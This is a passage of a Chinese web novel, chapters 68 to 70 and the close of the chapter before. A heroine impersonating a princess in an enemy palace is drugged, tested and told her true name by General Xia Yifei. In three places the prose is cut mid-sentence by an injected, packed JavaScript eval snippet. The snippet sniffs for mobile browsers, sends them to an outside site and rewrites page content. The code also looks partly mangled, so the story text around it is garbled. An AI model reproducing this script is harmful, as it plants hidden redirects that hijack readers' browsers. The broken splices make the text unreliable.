“我没事。一切听大将军安排。” 我稍稍提起被雨水打湿变得沉重的裙摆。 “那就劳烦大将军了。” 去往寝宫的路上,我发现夏逸飞的眸子始终看着某个方向,他骑在马背上,雨水浇打,目光下沉。以我现在的身份不能随口对他抛出疑问,只是轻轻放下马车勾起的帷幕,将他隔绝在外。 马车行进了许久,久到困意来袭。 侍女搀扶着我走进大门紧闭的院子,门推开时发出难听的吱呀声。有种不祥的预感涌上来……院子里杂草丛生,枯黄的草从石板缝里钻出来,被风吹得直抖。池塘早就干了不知多少年月,底下的淤泥都裂开了口子。几根枯荷杆子弯着腰,叶子黄得跟纸似的。 “最近兴庆多雨,等天晴后,便叫人打理院子。” 夏逸飞察觉到我的心思,在我问出口前抢先回答。 推门而入,室内的陈设倒比屋外有活人气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056780|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息些。前人留下的一片狼藉,破碎的瓷瓶、扯碎的画纸、四分五裂的灯台…… “这里真的给皇妃住的寝宫吗?” 上一个住这儿的妃子莫不是犯疯病,打砸透彻后被拖出去斩了? 因为身边只有夏逸飞一人,陪同的侍女已经被他差遣去收拾了,所以不忌惮,张口就问。 “公主不满意?要臣禀明陛下重修一座吗?” “……将军何苦揶揄我?不过问问而已。” “原来公主以为我在揶揄啊……” 他反而露出失落的表情来,“真心诚意地发问,还被公主误会,臣倍感伤心。” “……” 拙劣的演技。 夏逸飞收起胡闹,掸了掸身上的雨水,倒还有大将军的样子。 “之后的事,等陛下回宫后再做打算。今日先到此,臣不打扰公主休息,就此告退。” “多谢大将军。” 他吩咐众人也退下,自己留在最后走。等旁人走远后,他回头叫住我。 “公主若是需要人陪,只管派人吩咐我。” “……不必了。”我环视起富丽堂皇却阴森至极的寝宫,“住进这深宫别院,我已不再是赵国公主。大将军也不便再唤我公主,是该改口了。” 可大将军哪儿会听我的话,充耳不闻。 “公主换身衣裳先歇息吧。” “……” 外头的雨又下大了,打在窗户上啪啪响。我看着铜镜里的自己,落一声叹息回荡在幽深的异国深宫。 夜深后,深宫的凉意更甚。 坐在床边,取出颜卿寄来的墨梅图和信笺在烛台下阅看,试图在笔墨间寻觅出哪怕细微的慰藉,和隐忍不言的希望。 可哪里还有希望。婚宴不见娶亲的人,却迎了场暴雨。住进皇宫最深处的幽宫,荒草枯院,宛如阴宅。 ……至少避开了拜堂成亲,没做对不起颜卿的事……这,算是幸运吗…… 自我安慰的话在耳边响起。心里还是有余悸,很乱。我想活下去,活着出去,回信州再见到星辰。常人不是说,只要活下去就有希望吗。 可是……临到末了,我还是忍不住哭了。哪里是安慰的话,分明是磨灭希望,割断最后一根心弦的利刃。 我侧身躺下去,把身子缩成一团,让眼泪悄无声息地流到冰冷的被褥上。 咕——咕—— 窗外传来像是猫头鹰的声音。我最怕这种长了张人脸似的动物,在医鹿山晚上碰见过,差点没把我吓死。 我立马翻身坐起来,发现远处的一扇窗户没关,火急火燎地跑过,不小心撞倒了桌边的茶壶。精致的瓷器在地上炸成碎片,我一惊,又忘了窗户蹲下身去捡。 嗖地一声,身后有什么东西落在地上。 我的手突然被拉扯,等跌入坚硬欺负的胸膛时,抬头一看,发现夏逸飞不知何时又从敞开的窗台跳进我的屋子。 “夏将军在哪儿都是放着大门不走,从窗户出入的吗?而且,现在已是亥时,堂堂大将军怎会在此?” “夜巡至此,特来关心公主。” “不必了,将军请回吧。” 他冷笑一声,自顾拽着我的手,审视起面前名为“寝宫”的牢笼。 “公主日后都生活在这幽宫,有什么感想吗?” “感想?不敢想,没什么好想的。” 他理了理我穿戴整齐的衣裳,扬起一抹狂妄的笑,居高临下地俯视我。 “公主的性子果真变了呢。” 我沉下气,转头蹲下身继续整理地上的碎片。不识趣的夏逸飞突然绕到我跟前,顿在我面前与我平视。 “怎么不叫下人来收拾?” “我让她去休息了。” “不是吧。” 夏逸飞换了个姿势单膝跪地,替我捡起地上最后的碎片,伸手示意我把手里的一并给他。 “是不习惯叫别人服侍自己吧。” 我一时没作声,他忽而扯起一个笑,看似温柔的笑我依旧读出了杀气。 贺祈骁猜的没错,夏逸飞认出我不是公主。一声一声的唤我公主不过是在揶揄我这个冒名顶替的。可他这么做的理由是什么?就因为我长得像他胸前有梅花印的青梅竹马? 我垂下眸子说道:“我说过,我不认识你,也从未见过你。你也看过了,我身上没有你说的梅花印。名字不过是一个代号,世上本就有长得相似之人。” 夏逸飞起身将碎片放在桌上,转而望向窗台荒芜的庭院。 “说来你恐怕不信,这是我第二次在这深宫与你幽会。” “第二次?什么第二次?将军是在做梦吧。” 夏逸飞缓缓看向我,浅笑道:“没错,确实是梦。” “……” “否则一个死掉的人,怎么可能重新站在这里。” 68. 春风尔来 春来殿,哪儿有春来的样子。 名义上是东凉皇宫的一殿,其实跟前殿的辉煌毫不相干。 若没有“皇宫”两个字做前缀,春来殿放在兴庆府,顶多算是“基础建设打得还不错的普通宅院”。 至少种点花花草草吧,我是这么想的,首要任务是让春来殿看上去是有活人住的地方,凸显点生机。 可眼下又是寒冬将至,东凉的冬季可比军营还要冷,不见得我现在种下去这植物能活到来年开春。 萧索残败的阁楼中,连风都格外凄厉。 荒草遍地,支离破碎。 不像是沉寂了很久的空楼,而是上一任住在这里的人里走前打砸留下的废墟。 不知为何,我很想知道这座寝殿的主人是哪位嫔妃。也想知道时至今日也从未露面的东凉皇帝是个什么人。 “陛下还没回宫吗?” 圆凳上,刚取下挂在梁上破旧灯笼的阿丘,微微喘着气,扬起笑容朝我看来。 挂取灯笼的长杆被搁置一旁,这姑娘非得自己站上去取,跳下圆凳时,鬓角的汗珠顺着笑容滑落。 “回公主,还没有。来人传消息说,陛下改道去了北方,归期……恐怕又得延长。” 服侍我的婢女名叫阿丘,东凉人,生得不算好但性格不错。 几日的相处我们也慢慢熟络,我不习惯被人看着服侍着,多数时间她都自己做事,待我也挺好。 要说唯一的缺点……就是笨笨的。 我撑着脑袋坐在较远处的椅子上,望着她上蹿下跳,默默看着被遗忘的长杆,故意使坏不提醒。 不过,她能一边同我聊天一边做事已经比我强多了。 “陛下不在宫中,大小事如何定夺?” 她又拿来长杆挂上全新的灯笼,有了长杆的帮助,灯笼轻松挂上梁柱的挂钩。 欣赏着自己的成功,一脸欣慰。我也欣慰,可怜的杆子没在最后才被想起来。 “大事一般会派人通知陛下,小事通常都是过问大将军。陛下不在,全听大将军的。” “大将军职权那么高?” 阿丘的神态瞬间有些惶恐局促,显然这种话题不适合问她。 “这个……奴婢不好说,公主要不亲自去问大将军吧。” 我也心知肚明,不为难她。 “罢了,不麻烦将军。” 主要原因,我不想和那位我行我素目中无人的大将军有交集。 阿丘想到了什么,声音沉下来,讷讷地看了眼庭院外的大门。 “其实……” “嗯?” 正疑惑,门口传来一个拉长的声音。 “大将军到。” 转头望去,夏逸飞翻身下马,穿着官服径直朝院内走来。 他的精神状态不错,一点不像昨夜夜闯深宫还待了几个时辰的人。 瞳孔中密布血丝,看样子,他刚处理完事务,身上的绯色官服衬得他斯文不少。 人靠衣裳马靠鞍,这句话一点不假。 “公主昨夜休息的可好?” 我狠狠瞪了他一眼,凄然冷笑道:“将军昨晚见过了,有没有休息好,将军不是一清二楚吗。” 时间倒回昨夜。 夏逸飞莫名其妙冒了句“否则一个死掉的人,怎么可能重新站在这里。” 我本想装作一副不知所云的样子打发他离开,奈何这句话对我的吸引力太大,我的神情瞬间出卖了我。 “公主感兴趣的话,我讲给你听?” “你讲吧。” 他朝我摊开掌心,半边唇角勾起,富有深意地看着我。 我发出一声轻蔑笑意,双臂抱在胸前,“你还要钱?讲个故事还收费?” 夏逸飞一脸失落,甩了甩摊开的手,悻悻说道:“真想剖开你的脑袋或者心脏,看看我在里边儿到底是个什么形象。” 玩笑话我一如既往听出了杀意,全身心的注意力瞬间移动到脑袋和心脏的位置,眼睛死死盯着他腰间的匕首。 我当真怕他一刀解剖我,死无全尸。 夏逸飞顺着我的视线看向腰间,无奈一笑,用他修长灵活的手指,解开腰上的皮带,连同匕首递给我。 “做什么?” “公主不是怕我居心叵测吗,这个,你替我保管。我要是敢对公主不利,公主可以一刀杀了我。” “……” 要不要接下呢?总觉得他有所图谋。 诡计多端的男人,阴险狡诈的夏逸飞,决不能掉以轻心轻易相信他。 我别开脸,推走他递过来的凶器,说:“不必。这里是东凉皇宫,我是赵国公主,将军还没白痴到这地步吧。” 夏逸飞勾唇阴涔涔的一笑,把凶器直接精准丢在离我们两人都远的一张书案上,一脸狂妄自大地说:“激将法?骂再难听也没用。既然来了,一时半会儿我是不会走的。” 转头,他又看到屋外的圆月。 我也瞟了眼,不知不觉又是一月十五了。 寄给颜卿的信不知送到了没,柳砚清上天述职还有多久回来? 夏逸飞收回在我身上打量的视线,问道:“要不要去房檐上赏月?” ……房檐?夏逸飞的真身莫非真的是猫?进屋走窗户,喜欢去房檐上瞎转悠。 该不会吃食方面也是喜欢鱼腥海鲜? “不去。” “都说了我不去!” 话音未落,后领一紧,我已被人一手揽着腰一手提着后领飞到半空,稳稳落在春来殿最高的屋顶上。 我耷拉着眼帘,生着闷气抱膝坐在房檐上,夏逸飞倒是有线,伸长双腿双手撑在身后高兴得哼起小曲儿。 太过分了!目中无人也有个度吧! 越想越生气,我估计放大音量哼了一声,怒目圆睁盯着远处的山峦和雾气。 “别看了,望眼欲穿也看不到赵国的。” “……” 我气得闭上双眼,结果他又冒出一句:“公主困了?” “嗯,带我下去。” “我不困,再看会儿。” “……” 拉着我赏月,犯困也不许我睡觉赖着不走的人是你好吧。 我伸了个懒腰,在廊下怔怔坐着。 阿丘已去忙别的事,夏逸飞的侍卫也只守在门外的暗处不现身,整个春来殿只有和夏逸飞两个人。 打理了几日,院内的荒草基本拔光,虽也萧瑟但看不见破败心情舒畅不少。 我也有了跟夏逸飞回怼斗嘴的兴致。 “所以,白日里将军也是会巡视后宫,然后凑巧来看望我吗?” 夏逸飞站在翻新的花圃边,用脚踢了下脚边的石头,漫不经心说道:“同样的理由用第二次,岂不过于拙劣。只是预感到公主有话问我,出宫前顺路来听听。” “顺路?这里离主殿那么远,实在想不通将军的顺路是怎么个顺法。” 夏逸飞倨傲而立,目光凛凛地望着我,说道:“公主要是再说无趣的话,我这就走。” 这是生气了?非常好。 我伸手做出请的姿势,微笑着回应:“不送。” “……” 夏逸飞的眸子沉得更深,闷不吭声转身离开。我心情大好,目送他。 “我晚点再来。” “……不许。” 夏逸飞根本不会理会我的话,翻身上马离开春来殿。 此刻正是午前,快要用午膳的时候。 院子里弥漫着诱人的饭菜香,我坐在石桌前等待阿丘一一端上今日的菜肴。 恍惚听到一墙之隔外有人匆匆跑过的动静。 想不到隔壁的寝宫居然住了人,同样住在深宫,不知是什么人。 “隔壁住的哪位妃子?”我问阿丘。 “是柏夫人,比公主早来三年。” 春来殿的隔壁是秋雨殿,名字起得诗情画意,真实身份确实无人敢靠近的冷宫冷殿。 “柏夫人她为什么也住在深宫?” “因为……” 她环顾四周,刻意看了眼与秋雨殿隔开的墙壁,凑到我耳边小声说道:“因为柏夫人长得不太好看……不受陛下待见,所以来了深宫。” “……” 既然嫌弃人家长得丑,为什么还要娶进宫? 阿丘继续说:“柏夫人是先帝重臣柏大人的女儿,陛下继位后,柏大人为了跟陛下打好关系,把女儿嫁给陛下。但……公主也看到了。喜不喜欢,全凭陛下说了算。柏夫人自从加入皇宫后,便一直住在秋雨殿,从未离开。三年时间,陛下一次也没来过。我听闻,柏夫人只在宴席上见过陛下。” 同病相怜,或许该找个时间拜访一下这位邻居。 我看着为我斟茶的阿丘,问道:“那阿丘喜欢这里吗?” 阿丘倒茶的手愣了一下,小心翼翼地点头回答:“以前不喜欢,觉得太过冷清,夜深人静总觉得害怕。但遇到公主后,阿丘开始对这里产生了感情。” 阿丘的眼底涌起淡淡的笑意。 “阿丘会好生服侍公主的!所以……让阿丘永远留在公主身边吧。” 深宫不比其他三宫六院,它坐落在东凉皇宫的最深处,朱漆斑驳,檐角生苔,连日光都显得格外吝啬。 这里没有莺莺燕燕的嬉闹,没有焰火高台夜夜笙歌,只有风掠过枯枝的簌簌声,和偶尔传来的、低不可闻的叹息。 与其说是宫殿,不如说是精致的囚笼。 东凉人都知道,深宫,就是冷宫。 “这院子,可以随我心意布置吗?” “公主的寝宫,自然可随公主的心意装点设计。” “那——” 既然可以随我布置,那日梦见的蓬莱第几宫是个不错的参照物。 入夜,忙活完花圃泥土的翻新工作,我叫阿丘提前准备了笔墨纸砚。 替我研磨好墨汁后,我招呼她赶紧去休息,自己一个人待在房中思考的园林设计图。 “公主在绘画?” 窗台边突然出现的男人翘着腿,依靠在窗棂上眉梢眼底望着我。 苍白的弦月悬在天际,从他身后渗进缕缕冷色,恰好勾勒出他有致的身形。 “将军日理万机,夜深了不休息,又来做什么?” “我说了晚点再来。” 他跳下窗台,悠然自得地朝我走来,直接走到我身后,前胸贴上我的后背,越过我的头顶实现落在我的纸上。 “在画什么?” 我不搭理他。 “园林?是想把门口的枯塘荒草变个样?” 我还是不理他。 夏逸飞恼怒,不由分说捏起我的下巴把脸转过去对着他。 “说话。” 我不耐心地回答:“是。明知故问。还有,我干嘛非得回答将军的问题。” 他轻挑眉,松开手,轻浮地说道:“也是。” 夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056781|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逸飞又走向茶桌,掀开茶壶盖子瞧了眼,指尖沾了水渍,在桌沿随意蹭了蹭。 夜里不喝茶,怕睡不着,茶壶里的茶自然是凉掉的。 “茶都凉了。公主喝茶吗?”他问。 我头也不抬答道:“不喝。” 他合上茶盖,发出轻微的碰撞声。 “我去煮一壶热的。” 我没有应声。 室内沉寂,夏逸飞轻车熟路去偏房烧了壶热水,给茶壶满上。 静待片刻后,给桌上的两只茶盏都倒上冒着热气的茶汤。 “喝茶。” “不喝。” 他依旧不听我的话,闲适地举起茶盏抿了抿,浅尝温度适口后,端着茶放在我眼前的宣纸上。 杯底的水渍浸染上纸面,留下明显的一圈。 “别把茶盏放这儿。若是打翻了,我就把你天天夜闯春来殿的事情禀告陛下。” 夏逸飞不然,脸上带着假面似的笑,定定地坐在一旁的椅子上注视我。 “公主一口喝了,就不会打翻。” “……” 这个人真的很讨厌。 我端起茶一股脑喝下,将空茶盏重重搁回他面前,杯底与桌面相击,发出沉闷的声响。 夏逸飞不紧不慢地接过茶盏,又满上。 “托人从江南送来的茶,公主可还喜欢?” 我不着痕迹地和夏逸飞对视了一眼,漫不经心问道:“你是江南人?” “祖籍洛城。”他放下茶壶,袖口掠过案面,“如今……自然是东凉人。” 我不屑轻笑道:“赵国人在东凉成了大将军,替东凉人打赵国?不觉得可笑吗?” “这等诛心之论,公主在我面前说说便罢,可别被外头的东凉人听见。” “我没那么傻。” “真的吗?” 夏逸飞眼底闪过一丝玩味。 我别开视线,“……算了,你的事我一点不感兴趣。反正现在,我们已是一丘之貉。家国命途,也不是仅凭一人就能改变的。” 我继续伏案作画,夏逸飞不知何时踱到我身后,俯身凑近观看。 待我搁笔端详时,他忽然开口:“画完了?这是……草地?” “竹林……”我纠正道。 他若有所思地点头,又指着另一处:“这圆的是……果树?” 我忍不住蹙眉纠正:“梅花……我画的有这么抽象吗?” 他的目光继续移向画纸下方:“地上这一团黑色是?石头?” “池塘……” 我的声音已经带上了几分恼意。讨厌的人说几句话都那么讨人嫌。 夏逸飞直起身,轻叹一声,摆着头语重心长说道:“这画可不能被第三个人看到,公主的身份会暴露的。” 我提起画作仔细端详,“哪儿有这么夸张,我觉得挺好的。” “……嗯。” 他这声应答太过刻意,我横他一眼:“很丑吗?” “有那么一点吧。” “那就是很丑的意思,对吧。” “嗯。” “……” 他的回答干脆利落没有迟疑,我白了他一眼,气得将画揉成一团扔出去。他眼疾手快地接住,展开抚平:“不过胜在别具一格,留作收藏也好。” 我正准备将提笔重新作画,猛地,身子像被什么定住,脑袋嗡嗡作响,全身都在剧烈地颤抖着。 头好痛……晕得快站不稳……怎么会这样…… 摇晃着身子,手中的笔落在铺展开的宣纸上,砸出一团墨。 我有些站不稳,下意识抓住卓沿稳住,一道力量抵在腰间,将我稳稳托住。 “夏逸飞你……” 视野被彻底剥夺,温热的掌心下我紧张地吞咽,眼睫扫过他的掌心,但腰后的力量始终没有消失,反而越发收紧。 能感受到跟前的人正在从上至下仔细打量着我,一寸不落。 茶汤有问题……但眼下意识到问题所在,已经来不及了。 我僵硬着站在原处,感到自己仿佛成了件没有灵魂的摆设,只有意识是自己的。 “你不该回来的。” 简洁的话语似乎包含了过多未知的信息,我微微愣了一下。想张口问话,才发现自己连声音也发不出。 “明明已经逃出去,为什么要回来?” 他到底在说什么? “但既然回来了……” 他没再说下去。蒙在我眼上的手缓缓下移,露出我的双眼捂住我的鼻唇。 深邃的眼眸近在咫尺,只差一指的距离,他的额头就能贴上我的,我甚至在那双黝黑的眸子里看清我的脸。 掌心能嗅到浅浅的檀香,不似檀木的味道,倒像寺庙闻见的香。 “你好像误会我把你认成分离多年的青梅了,对吗?” “……” “我夏逸飞怎么可能认错人。” 他说着,目光似有若无地掠过我的胸前。 “正如同你所说的,世上本就有过分相似的两个人,不管是名字、长相、还是身上的印记。第一次把你认错,情有可原。但这是第二次,我不会认错。” 他俯下身,从领口掀开我的衣服,灼热的指尖点上胸前的皮肤,尽管那里白皙一片,但我猜,他说的梅花印应该是在那个位置。 “你不叫赵清漪,也不叫韩风。不是赵国的公主,也不是我夏逸飞的青梅,你是——” 69. 深院空帏 “你不叫赵清漪,也不叫韩风。不是赵国的公主,也不是我夏逸飞的青梅,你是——” 我强撑着案几,身体的沉重感不断加深。眩晕感如潮水般涌来,额头汗珠密布,却在模糊的视线中看见他唇角微扬。 他竟然……笑了。 我气息紊乱地开口道:“夏逸飞,你讨厌我吗?” 夏逸飞不悦地挑眉反问道:“公主何出此言?” “下毒、试探、步步紧逼……是想折磨我,然后逼死我吗?” 夏逸飞,用余光瞄我。 “我不讨厌你,只是看不惯你把一切都忘了,然后让一切回归起点,就跟什么也没发生过一样。呵,我还挺佩服你们仙人的,掌控一切,随心所欲。把凡人的性命当儿戏,犯错便重来,转身就遗忘。死了就死了,身边的人只能眼睁睁看着她死。那种无能为力感,你们神仙永远不会体会到……” 夏逸飞话到一半没再说下文,凝眉垂下眼眸。 “算了。” 怎么能算了,我使出全身最后的力气抓住他的手腕,指甲几乎嵌入他的皮肉,咬着下唇坚定地道出我的结论:“你……认识我。” 沙沙沙,春来殿的枯草枯枝随风声起——皎皎月光被吹来的云雾遮掩,鬓边的碎发拂动摩挲我的侧脸,夏逸飞严肃的脸半隐半现。 夏逸飞突然嗤笑道:“公主说的什么话,我当然认识你。” 他明知我不是指公主的身份。 我凝视着他游刃有余的模样,早已习惯这般打太极的对话方式,不紧不慢继续追问道:“你知道……我的真实身份,你也知道……我的名字,甚至知道我死过一次……对不对?” “当然。” “告诉我。” 他突然抬眸,眼中闪过一丝锐利,“条件。告诉你,我能得到什么。” “……你想要什么?” “暂时没想好,公主先欠着吧。”温热的气息拂过耳畔,“放心,不会太辛苦公主的。” 我沉思片刻。 “好……你可以告诉我了。” 他退后一步,唇角挂着若有似无的笑,缓缓启齿:“南风,你的名字。九天之上的神女,下凡替人替人挡灾的无聊之人。” “南风?你是说,我叫南风?” 我心头一震。也是南风,和贺祈骁告诉我的一模一样,难不成南风真的是我的名字。此刻我迫切想找柳砚清求证,但他上天述职,贸然呼唤他会打扰到他吧。 神像说过,只要得知我的真实姓名记忆便会恢复。 难道神像对我说谎了? 头痛得快要炸开了,意识开始模糊。夏逸飞又把茶盏递给我,我怎敢接下,一杯下肚就成这幅样子,再喝一杯不得直接见阎王。 他唇角噙着玩味的笑,说道:“喝吧,一杯是毒药,两杯是解药。” 我抬眸直视他的眼睛:“……我为何信你?” 他忽然低笑出声,晃动手中的茶盏,“要我同你一起喝?” 我斩钉截铁道:“喝,立马喝。” 夏逸飞毫不犹豫地执起盏仰头一饮而尽。不多时,他的身形开始摇晃,指节泛白地撑住案几,额角渗出细密的汗珠。就在他即将跪倒之际,又迅速执起第二盏茶饮尽。转眼间,他苍白的脸色便恢复血色,连气息都平稳如初。 他重新斟满茶盏推到我面前,眼底藏着我看不懂的情绪。 “喝吧,再不喝,真要又死了。” “……” 我盯着茶汤中自己破碎的倒影,一咬牙全部灌进肚里。喝得太急,半数的茶水顺着嘴角流落打湿我的衣襟。 “咳咳……” 我被呛得弯下腰,茶盏从指间滑落,在半空被夏逸飞精准接住。他一脸欣慰地抽出我插在腰带上的手帕擦拭我的嘴角。 “恭喜公主又死里逃生了。” “……” 殿外的风突然大作,吹得窗棂砰砰作响,将我们之间凝固的空气撕开一道裂痕。 夏逸飞望向窗外,突然情绪低落,声音轻下来问道“你从皇宫来……有见过一个叫韩风的姑娘吗?” “没有。” 他垂下眼睫,嘴角扯出一个苦笑:“这样啊。” 我猜我们心照不宣地读懂了对方话里的意思。我说“没有”,是指我没有去过皇宫。他的“这样啊”,是明白了我的意思。 我又问:“你的青梅?” “嗯。” “你刚才说,我是下凡替人替人挡灾的无聊之人,那是何意?” 他微笑着,替我斟上没有下药的新茶,茶汤入喉,说起往事来:“我第一次见你是在东凉地牢外的校场。你救了我,说了句没头脑的话。你说,如果我死了,你就没法完成和那孩子的约定了。第二次见你,我便认出了你。你说你死过一次,忘了些事,不过很快又记起来,同我说了当年为何救我。” “为何?” “韩风,我的青梅,她的名字,是你给的。因为赐名,你需要替她完成心愿。而她的心愿,就是能再见到我。我不能死,她也不能,否则这个心愿将无法完成。” 我望着陷入回忆的夏逸飞,情绪落下,不免叹了口气说:“所以我第一次来,是为了救你。第二次来是——” “为了救她。是你告诉我的。” 又是一阵静默,夏逸飞突然问道:“陛下三日后回宫,在那之前,你有什么想看的或者想做的吗?” “怎的,将军要帮我?” “最后的机会,看你珍不珍惜咯。” “我……” 我抿唇摇头,说:“我想看梅林。白色的梅林,如雪一般的梅林。” 夏逸飞不意外的我的话,抬起手背擦去我额头的汗珠。 “放心,明天带你看。” 带我看?难不成真的要带我逃出东凉皇宫?!这等引发战争的事做不得!我猛地抓住他的手腕。 “喂!不准做危险的事!” 他反手握住我的手指,掌心温度灼人:“放心吧,百分百安全。” 最后一盏宫灯忽明忽暗,在他背影上投下深浅不定的光影。春来殿的大门被他推开,一匹通体漆黑的东凉战马正踏着前蹄,鼻息在寒夜里凝成白雾。 我用余光静静瞥着他,说:“下次走大门吧,别再翻墙了。” 夏逸飞利落地翻身上马,居高临下地望过来,嘴角勾起熟悉的弧度:“那多无趣。” 说罢,马蹄声渐起,孤傲的背影渐渐消失在宫墙投下的阴影深处。 室内烛火通明,我铺开崭新的纸,开始记录自己拼凑出的重生前记忆。夏逸飞没有理由骗我,贺祈骁也是。记忆的确是丢了,但此刻我才惊觉,丢失的记忆远比想象中要多得多。 首先确定的是——“齐风”并非我真名,那只是用来欺骗闻笙的假名。光州张氏棋的死应当与玉笛有关,因为闻笙描述的死状,与我在军营亲眼所见的如出一辙。我推测,在用玉笛杀人后,便将它拿去与地府作了交换。这是重生前五年发生的事。 “楚风”也是欺骗颜卿的假名。八年前那场逃婚至今成谜:我为何要逃?又被何人带走?至于“燕风”这个假名,宁安桥从一开始就知晓真相,我们仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056782|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在某个梦境中有过一面之缘。 若现在的人生真是沿着重生前的轨迹重复,那么八年前本该是被抓去边疆?但矛盾的是,宁安桥始终驻守边疆,而贺祈骁明确说上次相见是在贺府,并非军营。 “韩风”是我在洛城赠予夏逸飞青梅的名字。 最后萦绕心头的疑问是:“南风”当真属于我吗?若是真名,为何记忆依旧全无?那个叫贺祈源的人,我们之间究竟发生过什么?为何我会应下这门亲事?又为何在新婚之夜眼睁睁看着他死去? 太乱了……我这猪脑子根本想不明白。还是去睡觉吧。 夏逸飞所谓的“带我看”,居然是带一副梅林的画卷给我看。画卷上的墨迹虽有被水打湿晕开的痕迹,但整体画面美感未受影响。 “这幅画是……” 强烈的熟悉感萦绕心头,忽然,我的呼吸骤然一滞。这画……竟与我在医鹿山柳砚清房中见到的那幅画一模一样。无论是梅枝的走势,起伏的山脉,甚至连细微处若隐若现的小石潭水都分毫不差。 我注意到左下角的署名有些模糊,凑近想看得清晰,可姓名被人刻意刮花,面无全非。我看向夏逸飞,他读懂了我的意思,指尖点上被刮花的三个字。 “赵国贺家三将军,贺祈源。” “轰——” 我感觉什么东西在脑海中炸开。忽然间周围的声音离我远去,化作听不清的嗡鸣。我下意识地后退两步险些在门槛处向后倒去。夏逸飞拉住我的手腕,轻轻一带,稳住了我慌乱不自控的身体。 一曲悠扬的笛声传来。 我猛然惊觉,朝着声音的源头看去,玉笛悬浮在半空,被人拿在手中吹奏一般。夏逸飞也看到了玉笛,但是看他的表情一点不惊讶,甚至伸手抓过玉笛,握在手心。 笛声戛然而止。我立马回神,正想问夏逸飞关于玉笛的事,匪夷所思的一幕发生了。 我眼睁睁看到夏逸飞手中青玉色的笛子逐渐晕染成黑色,以飞快的速度变成墨色。但墨色并没有因为染尽玉笛而停止,开始染上夏逸飞的手,一个呼吸的时间,夏逸飞的整个右手完全变成黑色。 我微微愣了一下,抬头正好对上夏逸飞的眼睛,随即立马反应过来夺走他手里的玉笛扔到角落。玉笛撞击墙面和地面发出两声清脆的声音,墨色的玉笛滚落在地,半晌也没有恢复。我再看向夏逸飞的右手,墨色的部分正在不断消褪。 “你的手有没有——” 我的话还没问完,又看到夏逸飞的右手迅速变成黑色。刚才还只是手,现在黑色蔓延至袖子里面,我赶忙抓起他的手臂,撸起他的袖子查看。果然,整个手臂都变成了黑色。 “怎么会……” 我慌了神,胸口仿佛被千斤重的巨大压着,不知所措。 现在,怎么办?我该怎么办? 当事人倒一点不紧张,垂下右手用左手狠狠抓住我的肩膀,看似呵斥实则安慰道:“你不是神仙吗,慌什么。” 我哪里是神仙,我现在跟凡人……对了,神仙!如果是柳砚清的话一定知道怎么办。顾不上考虑他是不是还在天上述职,我举起手腕努力镇定慌乱的心神,无论如何眼下只有这一个办法了。 我尝试性呼叫了一声:“柳砚清。” 手链没有回应我。 “柳砚清,我需要你的帮助。” 手链还是默不作声。 我感到前所未有的无助,浓烈的压迫感一点一点地吞噬我。咬了咬牙,我死死抓紧手腕,头埋进身子里,咽下喉咙里堵住我话音的东西。 “砚清……帮帮我……” 70. 连理枝头 为什么夏逸飞连同春来殿都不见了? 我不过呼唤了柳砚清的名字,画卷中的梅林逐渐放大,整个人瞬间被吸入其中,浑然不觉。 步入画卷,抬起头,我失神了片刻—— 我居然看到站在不远处的柳砚清。 仙人站在氤氲了白色水雾的池水边,墨发披散,身着月白色的人间男子常服。 好熟悉的衣裳,莫非此等长相的男子,都爱穿相同的款式? 那股潮湿仿佛穿透了空间,让我真实的感受到了一抹温度。是温暖的,热诚的,是正常人的体温,那么炙热。 “砚清……” 我想要伸手触摸,但无论怎么靠近都无法靠近。 他依旧坚定地站在原地,和以往的任何时候一样,缱绻不舍地注视着我。眉眼冰雪消融,令我无数次安心的笑扬起。 “……不对,你不是师尊。你是……颜卿?” 梅林的风声不息,那人缓缓向我走来。不断靠近的心跳和呼吸,在画卷之中显得那么不真实,令人不安。 到底是我的眼睛出了问题,还是心底乱得厉害。 眼前的人……到底是谁? “南风。” 我的名字从他口中第一次清晰地念出,带着久违的熟悉。唇瓣微张,眼角滑落冰冷的液。 是柳砚清啊。 哪怕尘封千年的记忆,他依旧那么耀眼。 或许是解除了不安,我快步奔向柳砚清,尽管我走多少步都在原地踏步,但我想让他知道,我有多想念他,多么急切想要靠近他。 “南风……真的是我的名字……” 柳砚清失笑,低头看了眼我攥在手心的东西,我也低头看去,竟然是被我丢出去的玉笛。 对了,夏逸飞!他现在有危险,得赶紧救人! 我立马环顾起四周,寻找夏逸飞的身影,抓住柳砚清的衣袖急切道:“师尊,救救夏逸飞!他手触碰过玉笛后变得黑黢黢的,不会废了吧……” 柳砚清不言不语牵起我的手,带我走向梅林深处。温暖的双手,似冰雪逢春融化。 